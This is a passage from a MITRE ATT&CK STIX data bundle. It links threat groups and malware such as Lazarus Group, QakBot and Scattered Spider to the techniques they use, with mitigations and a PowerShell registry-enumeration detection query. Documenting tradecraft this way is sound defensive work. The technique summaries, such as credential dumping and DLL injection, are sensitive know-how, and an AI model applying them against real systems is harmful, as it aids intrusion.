folder","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c021a96d-e4f2-4bd7-b1eb-315c518f16ca","created":"2024-03-29T14:59:26.654Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T14:59:26.654Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) enumerates data stored in cloud resources for collection and exfiltration purposes.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0220333-2cfb-4449-acbb-9bea0b7751b4","type":"relationship","created":"2021-02-09T18:36:22.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-04-27T01:56:35.910Z","description":"[Explosive](https://attack.mitre.org/software/S0569) has collected the computer name from the infected host.(Citation: CheckPoint Volatile Cedar March 2015) ","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0223316-4b0b-461e-8947-01c0f5baeef2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}],"modified":"2019-07-26T23:07:21.042Z","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) contains the takeScreenShot (along with startTakeScreenShot and stopTakeScreenShot) functions to take screenshots using the CGGetActiveDisplayList, CGDisplayCreateImage, and NSImage:initWithCGImage methods.(Citation: XAgentOSX 2017)","relationship_type":"uses","source_ref":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0269d4e-456a-4e10-ae89-6b50b447c94d","type":"relationship","created":"2020-01-28T14:05:17.980Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T18:12:36.873Z","description":"Protect domain controllers by ensuring proper security configuration for critical servers.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c031bd06-453b-4f80-9a04-98e74a420323","type":"relationship","created":"2022-03-22T14:44:05.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T14:44:05.864Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used NTDSDump and other password dumping tools to gather credentials.(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0337d13-da6a-4e2b-91a4-a389c6b4ee28","type":"relationship","created":"2022-03-01T15:57:35.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."},{"source_name":"Qualys LolZarus","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}],"modified":"2022-03-23T16:57:15.532Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has abused the KernelCallbackTable to hijack process control flow and execute shellcode.(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c035989f-a86f-4746-a9d4-3286dc68e473","type":"relationship","created":"2019-07-17T23:32:02.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.","url":"https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/","source_name":"Wired Lockergoga 2019"}],"modified":"2019-07-25T14:22:27.826Z","description":"[LockerGoga](https://attack.mitre.org/software/S0372) has been signed with stolen certificates in order to make it look more legitimate.(Citation: Wired Lockergoga 2019)","relationship_type":"uses","source_ref":"malware--5af7a825-2d9f-400d-931a-e00eb9e27f48","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c035e54b-c504-4e4f-9915-c2f37236ef34","type":"relationship","created":"2019-04-17T18:43:36.303Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","source_name":"CheckPoint SpeakUp Feb 2019"}],"modified":"2020-03-20T18:29:19.818Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) encodes C&C communication using Base64. (Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c039483a-5e0f-47be-b614-0d766eda9e0f","created":"2021-09-30T12:25:20.633Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Ransomware September 2020","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021.","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp"},{"source_name":"Red Canary Qbot","description":"Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021.","url":"https://redcanary.com/threat-detection-report/threats/qbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:47:20.031Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can modify the Registry to store its configuration information in a randomly named subkey under HKCU\\Software\\Microsoft.(Citation: Red Canary Qbot)(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0417cdc-0451-41e3-8937-88e9ebd68d1a","type":"relationship","created":"2020-06-18T17:27:09.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-29T15:59:07.632Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has the ability to use scheduled tasks to repeatedly execute malicious payloads on a compromised host.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c043fd01-53bf-43ec-982d-44359c47d905","created":"2024-07-25T17:34:22.283Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"},{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:34:22.283Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) is associated with several supply chain compromises using malicious updates to compromise victims.(Citation: ESET EvasivePanda 2023)(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c052113d-2552-48fc-8deb-d6965d85f547","created":"2024-03-26T18:50:16.156Z","revoked":false,"external_references":[{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-26T18:50:16.156Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) can list processes on targeted hosts.(Citation: Secureworks Gold Prelude Profile)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c055d228-a0e6-4b76-961a-1eebe99679f5","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","source_name":"McAfee Lazarus Resurfaces Feb 2018"},{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}],"modified":"2022-03-23T16:57:13.858Z","description":"A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample performs reflective DLL injection.(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: Lazarus APT January 2022)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0561e30-556b-486b-a7fa-1be6feece584","type":"relationship","created":"2021-04-13T20:27:51.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA416 November 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader","description":"Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:51.720Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has created the registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\AdobelmdyU to maintain persistence.(Citation: Proofpoint TA416 November 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0584f8c-e358-4058-aafc-130bfb54dc88","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ASERT InnaputRAT April 2018","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.","url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}],"modified":"2018-10-17T00:14:20.652Z","description":"Some [InnaputRAT](https://attack.mitre.org/software/S0259) variants create a new Windows service to establish persistence.(Citation: ASERT InnaputRAT April 2018)","relationship_type":"uses","source_ref":"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c05978ea-b814-473e-a073-9bae9ab7695b","type":"relationship","created":"2020-05-06T20:40:19.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T20:40:19.172Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s dispatcher can be executed as a service.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c0677c42-7c1f-48ee-9a96-de3686917405","created":"2022-09-30T16:01:45.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T16:04:08.214Z","description":"[Mori](https://attack.mitre.org/software/S1047) can use Base64 encoded JSON libraries used in C2.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c068603b-bfab-4efd-92c2-01f8d696ea88","type":"relationship","created":"2020-05-05T18:47:47.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Imminent Unit42 Dec2019","url":"https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/","description":"Unit 42. (2019, December 2). Imminent Monitor – a RAT Down Under. Retrieved May 5, 2020."},{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.418Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has a remote microphone monitoring capability.(Citation: Imminent Unit42 Dec2019)(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c06f3e00-c272-4616-8b25-4c2cccf944f6","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T18:10:34.148Z","description":"Monitor executed commands and arguments for actions that may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nNote: For PowerShell Module logging event id 4103, enable logging for module Microsoft.PowerShell.Management. The New-PSDrive PowerShell cmdlet creates temporary and persistent drives that are mapped to or associated with a location in a data store, such a registry key (PSProvider “Registry”). The the Get-ChildItem gets the items in one or more specified locations. By using both, you can enumerate COM objects in one or more specified locations.\n\nAnalytic 1 - Suspicious Commands\n\n(sourcetype=\"WinEventLog:Microsoft-Windows-Powershell/Operational\" EventCode=\"4103\") | WHERE CommandLine LIKE \"%New-PSDrive%\" AND (CommandLine LIKE \"%Registry%\" OR CommandLine LIKE \"%HKEY_CLASSES_ROOT%\" OR CommandLine LIKE \"%HKCR%\")","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c075f36d-2732-4258-b921-3f07845bc367","type":"relationship","created":"2020-02-11T18:59:50.162Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:59:50.162Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c077dd0a-7568-400b-9aad-e0535f356f71","created":"2021-07-22T22:35:46.142Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ITSyndicate Disabling PHP functions","description":"Kondratiev, A. (n.d.). Disabling dangerous PHP functions. Retrieved July 26, 2021.","url":"https://itsyndicate.org/blog/disabling-dangerous-php-functions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-10T18:21:43.379Z","description":"Consider disabling functions from web technologies such as PHP’s `evaI()` that may be abused for web shells.(Citation: ITSyndicate Disabling PHP functions)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0792868-a5da-4486-9b3b-cefbc2667e54","type":"relationship","created":"2021-03-05T18:54:56.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."},{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.747Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) added a spoofed binary to the start-up folder for persistence.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c07cd7e2-1744-412c-ac58-4ec448a51f01","created":"2023-05-23T20:35:01.095Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-23T20:35:01.095Z","description":"[QUIETCANARY](https://attack.mitre.org/software/S1076) can call `System.Net.HttpWebRequest` to identify the default proxy configured on the victim computer.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c07d6bad-8249-46c2-971f-66e779229be0","type":"relationship","created":"2020-06-01T14:43:27.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T14:53:46.735Z","description":"(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c07df1c1-3ae1-4974-af37-9c1b04cef14a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.014Z","description":"[Comnie](https://attack.mitre.org/software/S0244) uses Rundll32 to load a malicious DLL.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c07e24ea-bf70-4f9c-a45e-73dfc0ede007","type":"relationship","created":"2021-08-26T18:49:41.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-06T19:18:54.650Z","description":"[BADFLICK](https://attack.mitre.org/software/S0642) has download files from its C2 server.(Citation: Accenture MUDCARP March 